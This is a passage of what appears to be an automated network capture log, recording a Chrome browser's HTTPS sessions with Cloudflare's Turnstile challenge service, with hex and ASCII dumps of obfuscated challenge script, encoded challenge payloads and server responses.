2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 3e 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 4e 3d 47 26 48 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 75 28 31 33 38 36 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 75 28 38 38 39 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 68 75 28 38 38 30 29 5d 28 30 2c 4e 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 Data Ascii: >=1;continue;case'2':N=G&H;continue;case'3':J\|=F(0<N?1:0);continue;case'4':H==0&&(H=j,G=o(I++));continue}break}switch(J){case 0:for(J=0,K=Math[hu(1386)](2,8),F=1;K!=F;N=G&H,H>>=1,0==H&&(H=j,G=d[hu(889)](o,I++)),J\|=(d[hu(880)](0,N)?1:0)F,F<<=1);O=e(J);br
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 56 2c 63 29 7b 68 56 3d 67 4a 2c 63 3d 7b 27 50 43 6c 42 62 27 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 68 56 28 37 38 33 29 5d 28 73 65 74 54 69 6d 65 6f 75 74 2c 66 72 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 72 2c 30 29 2c 66 73 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 57 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 68 57 3d 67 4a 2c 67 3d 7b 7d 2c 67 5b 68 57 28 31 33 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 25 73 7d 2c 67 5b 68 57 28 38 37 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2d 73 7d 2c 68 3d 67 2c 6d 2c 6a 3d 33 32 2c 6c 3d 65 4d 5b 68 57 28 31 33 30 36 29 5d 5b 68 57 28 36 39 38 Data Ascii: V,c){hV=gJ,c={'PClBb':function(d,e,f){return d(e,f)}},c[hV(783)](setTimeout,fr,0)}):setTimeout(fr,0),fs=function(f,hW,g,h,i,j,k,l,m){for(hW=gJ,g={},g[hW(1379)]=function(n,s){return n%s},g[hW(874)]=function(n,s){return n-s},h=g,m,j=32,l=eM[hW(1306)][hW(698
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 69 65 2c 48 29 7b 66 6f 72 28 69 65 3d 69 64 2c 47 5b 69 65 28 31 34 39 39 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 69 65 28 37 33 30 29 5d 3b 6f 5b 69 65 28 31 32 33 36 29 5d 28 47 5b 48 5d 2c 47 5b 48 2b 31 5d 29 3f 47 5b 69 65 28 31 33 34 36 29 5d 28 6f 5b 69 65 28 38 31 30 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 64 28 31 37 36 38 29 5d 5b 69 64 28 38 35 38 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 69 64 28 36 34 36 29 5d 28 43 2c 78 5b 69 64 28 37 33 30 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 66 7a 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 Data Ascii: ))](x)):function(G,ie,H){for(ie=id,G[ie(1499)](),H=0;H<G[ie(730)];o[ie(1236)](G[H],G[H+1])?G[ie(1346)](o[ie(810)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[id(1768)][id(858)](B),C=0;o[id(646)](C,x[id(730)]);D=x[C],E=fz(g,h,D),B(E)?(F=E==='s'&&
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 65 4d 5b 69 69 28 31 33 30 36 29 5d 5b 69 69 28 38 31 39 29 5d 2c 27 65 76 65 6e 74 27 3a 69 69 28 31 33 32 39 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 69 69 28 31 33 30 36 29 5d 5b 69 69 28 35 30 34 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 69 69 28 31 33 30 36 29 5d 5b 69 69 28 31 35 33 39 29 5d 2c 27 63 6f 64 65 27 3a 69 69 28 31 37 30 36 29 2c 27 72 63 56 27 3a 65 4d 5b 69 69 28 31 33 30 36 29 5d 5b 69 69 28 36 31 30 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 37 33 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 6a 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 29 7b 69 3d 28 69 6a 3d 67 4a 2c 7b 27 5a 76 4d 4a 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 29 7b 72 65 74 Data Ascii: eM[ii(1306)][ii(819)],'event':ii(1329),'cfChlOut':eM[ii(1306)][ii(504)],'cfChlOutS':eM[ii(1306)][ii(1539)],'code':ii(1706),'rcV':eM[ii(1306)][ii(610)]},'*'))},g)},eM[gJ(733)]=function(f,g,h,ij,i,j,k,l,m,n,o,s,x,B,C,D){i=(ij=gJ,{'ZvMJL':function(E,F,G){ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49770	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:36 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3227 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:36 UTC	3227	OUT	Data Raw: 76 5f 38 66 37 31 32 37 30 66 61 61 33 66 34 32 33 61 3d 79 71 45 76 4e 76 4c 76 51 76 74 76 33 76 7a 61 48 56 61 48 59 62 73 59 73 54 25 32 62 6f 73 2b 48 73 62 4b 54 42 73 51 4b 48 47 61 48 4b 42 6c 48 38 6e 76 42 2d 64 59 6e 2d 4e 49 71 73 4a 48 6b 62 4c 42 48 43 4c 76 48 35 30 48 2b 50 78 48 6f 37 62 48 54 45 49 76 47 6e 48 78 76 4c 4e 37 48 33 61 2d 48 72 59 2d 2b 6c 33 62 62 65 42 35 4c 73 48 79 61 37 6e 48 4a 4e 6c 61 53 49 5a 7a 55 39 66 35 49 48 35 2d 4c 52 48 4c 2d 50 72 6e 48 49 37 45 30 48 2b 79 76 76 48 71 58 48 4d 6e 4b 7a 72 4b 7a 48 4b 71 73 63 6b 44 6b 4b 4c 61 49 48 4c 35 4c 38 30 2d 48 4b 2d 50 74 48 2b 37 6c 6a 37 65 66 48 4b 64 49 47 74 6e 63 74 2d 73 30 45 78 45 48 42 4f 76 35 33 2d 4b 71 4c 48 73 38 48 30 65 48 64 74 68 7a 6e 61 71 Data Ascii: v_8f71270faa3f423a=yqEvNvLvQvtv3vzaHVaHYbsYsT%2bos+HsbKTBsQKHGaHKBlH8nvB-dYn-NIqsJHkbLBHCLvH50H+PxHo7bHTEIvGnHxvLN7H3a-HrY-+l3bbeB5LsHya7nHJNlaSIZzU9f5IH5-LRHL-PrnHI7E0H+yvvHqXHMnKzrKzHKqsckDkKLaIHL5L80-HK-PtH+7lj7efHKdIGtnct-s0ExEHBOv53-KqLHs8H0eHdthznaq
2024-12-24 14:06:37 UTC	747	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:37 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149804 Connection: close cf-chl-gen: QQBhcpq7ju5CkBZpioIn2ZL/WCpQCxTa0KdlRT2PO7sNyH8p3jGtitChH8cggeDE0Vp3MBQn04Uax+7xu1uBjYVeYvdAJ1d+PbsMU2kQ0x+zJksBhFYJYCDaAPXgF4sWO3sPzZpmkT8qMV+wVlhBxJKR1NRjMNDEl0op92dTiuF39mnDXJGfqt/xenbiP7PVPLj1m+ZB+6IylLAA3ejyZmyGJ3gnocpRlJRcrN4uR8i8lHyq0TSa8oCEAdrlC9HNSDkIFDomVAvXXrbe4RFvqonyNxmBP5ZTj6rEA0FJuWLJAodb27BcifzWKzV9stGdI4FIPhRFvA7Ds6hrJEiM6IXtEaCqHgK64k+GMz3SoNCE6fJnmBjvzGPTfwvHYBngzG6VspiL4a76SQK7iSUZ0pXGywWggnLX/AidsZL1WBMAqOOFf0fNEDi2NQIkv8ZzDxnl08Cso2O6plEQWAaVJ7eTHmRDQvqurynZKHaSJk5Jc+A=$D5JHb2Md2F7b4LPs Server: cloudflare CF-RAY: 8f7127291ea96a5f-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:37 UTC	622	IN	Data Raw: 71 72 61 66 6a 71 4e 39 6c 63 43 77 67 72 36 38 66 4c 2b 39 6e 5a 6d 2f 7a 73 53 68 30 37 53 72 78 71 4f 6f 72 73 4f 32 7a 37 32 33 75 37 33 59 32 73 75 65 70 4d 36 37 78 35 75 79 36 4d 44 58 37 38 2f 66 77 62 33 52 73 2f 44 55 31 64 6e 54 38 2b 65 34 38 2f 33 5a 33 50 58 55 33 4e 50 68 39 74 50 6f 33 76 66 5a 42 41 6a 70 79 50 48 6f 38 77 6a 68 44 76 4d 41 30 68 67 44 37 2f 50 57 37 67 2f 61 32 76 49 55 48 78 76 6d 47 41 6b 46 39 65 59 63 41 76 6b 50 2b 51 59 47 37 41 59 4a 4c 6a 44 79 4f 69 4d 51 4a 79 34 51 4d 42 30 63 46 44 51 76 4e 44 76 35 4e 67 62 38 50 42 63 74 4c 69 38 6d 53 45 42 55 45 6c 63 57 45 6b 4d 53 53 67 35 4d 4b 6c 52 59 54 56 5a 5a 54 44 39 62 55 43 56 6c 5a 46 31 61 58 45 42 67 53 30 39 42 61 6d 68 65 54 54 39 6c 61 46 4e 38 4d 31 78 Data Ascii: qrafjqN9lcCwgr68fL+9nZm/zsSh07SrxqOorsO2z723u73Y2suepM67x5uy6MDX78/fwb3Rs/DU1dnT8+e48/3Z3PXU3NPh9tPo3vfZBAjpyPHo8wjhDvMA0hgD7/PW7g/a2vIUHxvmGAkF9eYcAvkP+QYG7AYJLjDyOiMQJy4QMB0cFDQvNDv5Ngb8PBctLi8mSEBUElcWEkMSSg5MKlRYTVZZTD9bUCVlZF1aXEBgS09BamheTT9laFN8M1x
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 43 50 61 58 56 76 6a 59 5a 68 69 46 5a 6e 66 4a 47 49 66 4a 53 56 6e 58 70 63 5a 6f 57 46 68 4a 32 66 70 59 57 6a 62 59 71 72 73 37 4a 71 73 6d 39 2f 64 48 4b 48 64 6e 57 6c 74 34 36 5a 6c 72 43 37 74 33 78 34 6b 35 47 64 79 4b 61 2f 6f 70 6e 51 79 36 54 50 6b 59 71 6e 72 73 2f 41 7a 38 32 74 32 4c 61 6f 7a 64 75 59 31 74 4b 38 77 36 37 49 35 62 4b 38 76 74 69 2b 79 73 4f 2f 37 4f 50 49 33 2f 44 44 77 64 6e 52 72 4f 61 33 38 2f 75 78 36 50 4b 34 31 2b 43 2b 43 41 48 47 34 4e 72 69 42 4f 58 35 42 68 41 43 33 75 72 6c 42 76 48 72 38 74 49 4d 38 52 6a 37 45 2f 59 50 33 67 44 67 34 68 55 68 39 75 50 6f 47 42 51 6d 4b 52 7a 2b 36 2f 41 77 48 43 34 78 46 67 66 7a 39 2f 67 6b 4e 6a 6b 53 44 2f 73 42 44 69 77 2b 51 52 49 58 42 41 6b 65 4e 45 5a 49 43 69 67 65 44 Data Ascii: CPaXVvjYZhiFZnfJGIfJSVnXpcZoWFhJ2fpYWjbYqrs7Jqsm9/dHKHdnWlt46ZlrC7t3x4k5GdyKa/opnQy6TPkYqnrs/Az82t2LaozduY1tK8w67I5bK8vti+ysO/7OPI3/DDwdnRrOa38/ux6PK41+C+CAHG4NriBOX5BhAC3urlBvHr8tIM8Rj7E/YP3gDg4hUh9uPoGBQmKRz+6/AwHC4xFgfz9/gkNjkSD/sBDiw+QRIXBAkeNEZICigeD
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 32 57 47 57 5a 6d 59 68 61 69 4a 46 36 6d 49 53 6d 59 6f 2b 68 70 48 31 36 5a 32 78 35 6c 36 6d 73 66 59 4a 76 64 49 6d 66 73 62 4e 31 6b 34 6c 34 73 35 36 32 65 36 4f 4f 74 4a 43 43 70 62 53 57 74 49 71 4d 76 38 43 6e 73 64 43 4a 71 37 58 45 6a 61 2b 35 73 70 47 7a 78 61 61 56 74 38 6a 67 6d 62 76 4d 31 4a 32 2f 79 4c 4b 68 77 38 76 73 70 63 66 50 36 37 36 2f 37 50 48 45 76 37 53 79 78 37 76 39 74 73 75 78 74 2f 58 51 7a 76 66 33 78 65 59 4b 33 64 54 42 41 63 73 51 79 77 4c 63 41 75 72 53 39 74 34 59 41 64 48 6a 45 67 30 59 44 2f 77 63 45 2b 37 69 33 66 30 63 38 2f 63 6c 4b 41 7a 6d 42 51 45 4e 49 43 34 69 42 78 38 46 42 51 63 45 46 44 73 36 4f 77 6f 5a 50 54 51 75 41 54 5a 47 4d 68 49 6e 41 67 6b 45 42 67 55 6a 55 43 55 49 45 68 41 55 56 43 6b 33 45 45 Data Ascii: 2WGWZmYhaiJF6mISmYo+hpH16Z2x5l6msfYJvdImfsbN1k4l4s562e6OOtJCCpbSWtIqMv8CnsdCJq7XEja+5spGzxaaVt8jgmbvM1J2/yLKhw8vspcfP676/7PHEv7Syx7v9tsuxt/XQzvf3xeYK3dTBAcsQywLcAurS9t4YAdHjEg0YD/wcE+7i3f0c8/clKAzmBQENIC4iBx8FBQcEFDs6OwoZPTQuATZGMhInAgkEBgUjUCUIEhAUVCk3EE
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 6e 70 39 77 59 49 78 38 6e 36 4e 36 61 47 56 72 6d 31 2b 43 65 49 53 67 66 34 71 46 69 61 6d 33 74 59 79 75 68 72 32 4f 73 37 47 35 6c 72 61 75 67 70 4b 34 73 37 54 46 76 4d 54 41 71 36 71 65 6a 5a 6d 63 71 4b 53 78 30 70 65 32 77 36 7a 55 71 39 57 33 6c 35 69 38 75 4e 48 5a 77 35 2f 56 32 64 36 63 33 64 32 31 77 76 44 49 36 4b 54 41 35 73 48 69 78 50 53 76 74 63 62 74 33 50 58 75 37 39 62 51 75 39 76 33 33 51 50 52 43 4f 4c 44 41 4f 66 49 2f 66 30 4f 38 77 55 52 36 4f 44 31 35 50 6e 52 37 41 58 78 45 42 2f 71 2b 68 33 78 39 76 6e 65 4b 4f 59 59 39 52 6b 75 2f 43 49 67 43 77 6a 71 49 67 77 4c 4b 51 4d 34 41 2f 67 6c 39 44 51 6e 2f 44 51 69 4b 77 41 2b 4f 79 38 77 4e 67 6b 69 4f 6b 6c 43 44 43 68 41 42 43 6f 65 48 54 39 4f 4d 51 74 57 46 6a 49 6d 45 44 55 Data Ascii: np9wYIx8n6N6aGVrm1+CeISgf4qFiam3tYyuhr2Os7G5lraugpK4s7TFvMTAq6qejZmcqKSx0pe2w6zUq9W3l5i8uNHZw5/V2d6c3d21wvDI6KTA5sHixPSvtcbt3PXu79bQu9v33QPRCOLDAOfI/f0O8wUR6OD15PnR7AXxEB/q+h3x9vneKOYY9Rku/CIgCwjqIgwLKQM4A/gl9DQn/DQiKwA+Oy8wNgkiOklCDChABCoeHT9OMQtWFjImEDU
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 6d 2b 46 63 57 47 4a 66 36 5a 6d 65 36 75 6f 6b 58 4b 45 6b 59 71 34 6a 62 47 45 69 4c 53 5a 71 6f 79 39 76 6e 32 54 73 38 4b 43 6e 70 4f 63 71 6f 75 38 6d 63 53 62 75 72 4b 4e 6e 59 72 46 77 5a 4b 56 30 62 54 51 76 4a 53 76 78 39 6e 62 6e 62 75 78 6f 4e 76 47 33 71 50 4c 74 74 79 34 71 73 33 63 75 75 69 38 79 36 76 4f 37 74 54 6f 2b 37 66 55 2b 2f 7a 67 34 63 73 45 35 50 6e 78 42 75 6a 58 2f 51 72 73 32 38 59 4f 38 4f 4c 77 43 38 7a 6c 42 75 34 48 36 41 6e 5a 43 75 76 6d 43 52 55 4d 44 65 41 59 39 78 66 6b 47 4f 41 4b 41 51 41 43 49 51 6a 6c 44 2b 66 74 41 53 6a 6e 45 77 49 73 2b 42 49 4e 4f 2f 30 6e 47 67 38 55 51 52 39 46 4e 44 59 43 45 52 34 71 54 51 6f 6c 41 53 41 6e 47 67 74 52 4d 6a 52 47 4f 54 52 53 45 69 38 7a 50 6b 31 68 4c 45 41 6a 57 45 46 5a Data Ascii: m+FcWGJf6Zme6uokXKEkYq4jbGEiLSZqoy9vn2Ts8KCnpOcqou8mcSburKNnYrFwZKV0bTQvJSvx9nbnbuxoNvG3qPLtty4qs3cuui8y6vO7tTo+7fU+/zg4csE5PnxBujX/Qrs28YO8OLwC8zlBu4H6AnZCuvmCRUMDeAY9xfkGOAKAQACIQjlD+ftASjnEwIs+BINO/0nGg8UQR9FNDYCER4qTQolASAnGgtRMjRGOTRSEi8zPk1hLEAjWEFZ
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 71 75 70 61 61 44 6d 6f 75 6c 62 72 4b 69 71 6f 75 59 71 36 31 36 76 72 4f 33 6e 37 32 39 75 4c 79 59 74 62 2b 46 67 72 36 2b 69 72 61 70 77 59 7a 43 77 63 62 4d 71 4d 6e 4e 30 61 50 55 30 4e 47 30 31 73 33 5a 79 71 76 42 73 74 6e 57 78 62 65 34 79 39 57 2b 33 65 54 4e 76 73 66 4f 30 4b 33 4c 38 64 50 45 79 65 2f 39 35 74 76 58 31 76 58 32 39 64 50 75 30 66 44 79 42 73 72 4c 2f 4e 76 39 78 63 38 4f 30 4e 48 50 45 42 66 66 2b 42 4c 31 42 65 6f 64 35 77 44 5a 46 51 41 6c 44 66 54 64 4a 43 4d 6e 4b 69 67 61 33 78 77 68 4c 53 6b 72 43 6a 59 41 4d 53 4d 44 46 44 59 4d 2b 77 30 34 4e 6b 4a 41 45 67 51 75 48 6a 59 2b 53 43 4d 4b 51 42 38 57 47 6a 6c 53 48 6c 42 4a 56 6a 38 30 54 79 30 77 4a 6c 73 62 50 52 67 78 48 69 35 41 59 46 30 6a 5a 31 74 46 61 57 63 72 4c Data Ascii: qupaaDmoulbrKiqouYq616vrO3n729uLyYtb+Fgr6+irapwYzCwcbMqMnN0aPU0NG01s3ZyqvBstnWxbe4y9W+3eTNvsfO0K3L8dPEye/95tvX1vX29dPu0fDyBsrL/Nv9xc8O0NHPEBff+BL1Beod5wDZFQAlDfTdJCMnKiga3xwhLSkrCjYAMSMDFDYM+w04NkJAEgQuHjY+SCMKQB8WGjlSHlBJVj80Ty0wJlsbPRgxHi5AYF0jZ1tFaWcrL
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 7a 64 4b 4b 73 6d 62 4e 31 72 61 71 34 6d 6e 71 71 6f 73 46 39 75 62 6d 52 66 37 69 66 75 5a 6a 44 69 70 69 6b 78 71 4f 38 71 4b 54 57 70 49 6d 4b 79 74 47 5a 70 4a 71 59 34 4d 69 30 6e 64 4f 32 35 62 37 41 74 39 6e 6f 33 72 76 70 72 65 6e 43 75 37 7a 49 78 50 62 45 73 39 48 4d 31 73 6a 55 74 4e 2f 4b 39 63 44 67 74 62 6f 43 77 51 62 78 77 4f 54 46 41 50 72 74 38 4d 76 39 34 42 49 56 37 2b 4c 50 43 65 38 4a 7a 52 4d 57 47 78 49 54 41 39 38 65 48 41 66 69 4a 53 4c 37 47 78 72 33 42 77 38 76 4c 69 38 70 38 43 49 7a 49 42 41 5a 41 69 30 6d 46 7a 38 35 4c 79 70 41 48 78 49 74 47 6a 56 43 46 68 4d 6d 44 41 4d 6a 4b 53 41 6b 4d 67 6f 4d 54 69 67 56 4e 44 51 5a 53 46 31 4e 46 79 30 70 48 69 34 39 48 69 35 42 52 47 6b 6d 4e 52 31 5a 5a 6a 39 42 59 47 6b 76 54 55 Data Ascii: zdKKsmbN1raq4mnqqosF9ubmRf7ifuZjDipikxqO8qKTWpImKytGZpJqY4Mi0ndO25b7At9no3rvprenCu7zIxPbEs9HM1sjUtN/K9cDgtboCwQbxwOTFAPrt8Mv94BIV7+LPCe8JzRMWGxITA98eHAfiJSL7Gxr3Bw8vLi8p8CIzIBAZAi0mFz85LypAHxItGjVCFhMmDAMjKSAkMgoMTigVNDQZSF1NFy0pHi49Hi5BRGkmNR1ZZj9BYGkvTU
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 6c 49 53 71 64 72 71 4b 74 62 4f 50 6c 6f 2b 65 6e 70 69 35 78 4a 75 63 6c 6f 33 4a 6f 61 48 42 70 5a 2b 32 72 4c 48 41 7a 64 6d 34 75 71 71 37 32 63 69 63 6d 74 33 42 77 73 66 61 78 71 48 48 79 64 33 4a 70 73 62 52 35 4c 2f 4b 30 4d 66 51 33 2b 48 47 31 39 6e 64 32 76 6e 63 38 75 44 51 37 72 72 4e 31 76 33 31 36 50 76 6e 39 65 58 4c 43 77 33 37 2b 74 45 50 44 2f 58 71 38 75 73 59 35 4f 38 55 43 78 58 38 30 78 33 73 37 41 51 59 43 53 63 70 38 67 67 6b 2f 42 67 4e 42 67 4d 6a 44 53 73 48 4b 77 38 72 47 2f 63 62 4e 41 67 4b 2f 52 33 7a 48 43 38 30 39 7a 59 55 50 6b 49 56 49 7a 73 32 4b 53 64 43 44 78 30 74 53 68 34 4f 53 54 4d 59 46 53 6c 4f 4f 6b 77 74 55 79 35 4c 4d 57 45 63 4a 57 67 37 51 79 74 44 4f 45 45 6e 4f 47 45 38 4d 6b 6c 66 52 47 4a 59 56 6c 56 Data Ascii: lISqdrqKtbOPlo+enpi5xJuclo3JoaHBpZ+2rLHAzdm4uqq72cicmt3BwsfaxqHHyd3JpsbR5L/K0MfQ3+HG19nd2vnc8uDQ7rrN1v316Pvn9eXLCw37+tEPD/Xq8usY5O8UCxX80x3s7AQYCScp8ggk/BgNBgMjDSsHKw8rG/cbNAgK/R3zHC809zYUPkIVIzs2KSdCDx0tSh4OSTMYFSlOOkwtUy5LMWEcJWg7QytDOEEnOGE8MklfRGJYVlV
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 72 61 75 67 70 4b 34 73 37 54 46 76 4d 54 41 71 36 71 65 6a 5a 6d 63 71 4b 53 78 30 70 65 32 77 36 7a 55 71 39 57 33 6c 35 69 38 30 74 4c 50 73 35 6a 58 79 4d 47 2b 37 4d 54 6b 6f 4c 7a 69 76 64 37 41 38 4b 75 30 72 75 53 7a 38 65 72 72 30 73 79 33 31 2f 4c 64 74 63 30 45 33 72 2f 37 34 38 54 35 2b 51 72 76 41 51 33 6b 33 50 48 67 39 63 33 6f 41 65 30 46 34 39 49 63 36 76 62 57 45 52 6a 37 44 79 4c 68 37 2b 4c 6f 4b 75 63 4e 49 43 41 72 45 66 77 30 46 66 7a 30 44 79 54 78 36 78 6a 7a 4f 54 55 64 44 6a 30 71 2f 76 77 35 4f 2f 77 54 42 42 31 43 53 44 38 65 50 45 46 50 51 43 45 52 4d 55 4e 51 56 43 52 49 53 45 31 59 54 44 55 77 4f 46 56 45 48 31 56 67 57 54 52 58 4e 6b 63 38 56 55 4a 4c 59 6a 6c 68 4b 58 56 32 4d 57 55 76 51 6b 70 6e 63 46 6c 70 54 6a 78 5a Data Ascii: raugpK4s7TFvMTAq6qejZmcqKSx0pe2w6zUq9W3l5i80tLPs5jXyMG+7MTkoLzivd7A8Ku0ruSz8err0sy31/Ldtc0E3r/748T5+QrvAQ3k3PHg9c3oAe0F49Ic6vbWERj7DyLh7+LoKucNICArEfw0Ffz0DyTx6xjzOTUdDj0q/vw5O/wTBB1CSD8ePEFPQCERMUNQVCRISE1YTDUwOFVEH1VgWTRXNkc8VUJLYjlhKXV2MWUvQkpncFlpTjxZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49771	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:39 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:39 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 14:06:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: vvZdkSiP9pzj/fYmzS6lwu5nrrvt6bYPwLU=$gqYMT6G9TLglUlCK Server: cloudflare CF-RAY: 8f7127384ce20f85-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49772	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:39 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8f71270faa3f423a/1735049197089/RNQ7OOfTgli-F5R HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:39 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f71273a7e818c99-EWR alt-svc: h3=":443"; ma=86400
